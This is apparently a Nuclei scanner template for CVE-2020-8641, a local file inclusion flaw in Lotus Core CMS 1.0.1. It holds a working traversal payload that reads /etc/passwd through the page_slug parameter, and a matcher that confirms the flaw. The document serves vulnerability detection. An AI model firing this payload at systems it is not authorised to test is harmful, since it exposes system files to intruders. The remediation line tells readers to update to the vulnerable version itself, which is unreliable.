id: CVE-2020-8641

info:
  name: Lotus Core CMS 1.0.1 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Lotus Core CMS 1.0.1 allows authenticated local file inclusion of .php files via directory traversal in the index.php page_slug parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Apply the latest security patch or update to Lotus Core CMS 1.0.1 to fix the LFI vulnerability.
  reference:
    - https://cxsecurity.com/issue/WLB-2020010234
    - https://www.exploit-db.com/exploits/47985
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8641
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-8641
    cwe-id: CWE-22
    epss-score: 0.10808
    epss-percentile: 0.95278
    cpe: cpe:2.3:a:lotus_core_cms_project:lotus_core_cms:1.0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lotus_core_cms_project
    product: lotus_core_cms
  tags: cve,cve2020,lfi,lotus,cms,edb,lotus_core_cms_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?page_slug=../../../../../etc/passwd%00'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220182b4dc17e58082cd32ce5e641b9da39e7f422a0e67bbf510356cdcd3e539bbc0221008af59e3d87dc55a35fb337f8eb83f81e0065c883cc2aedbb7f6819108903bab9:922c64590222798bb761d5b6d8e72950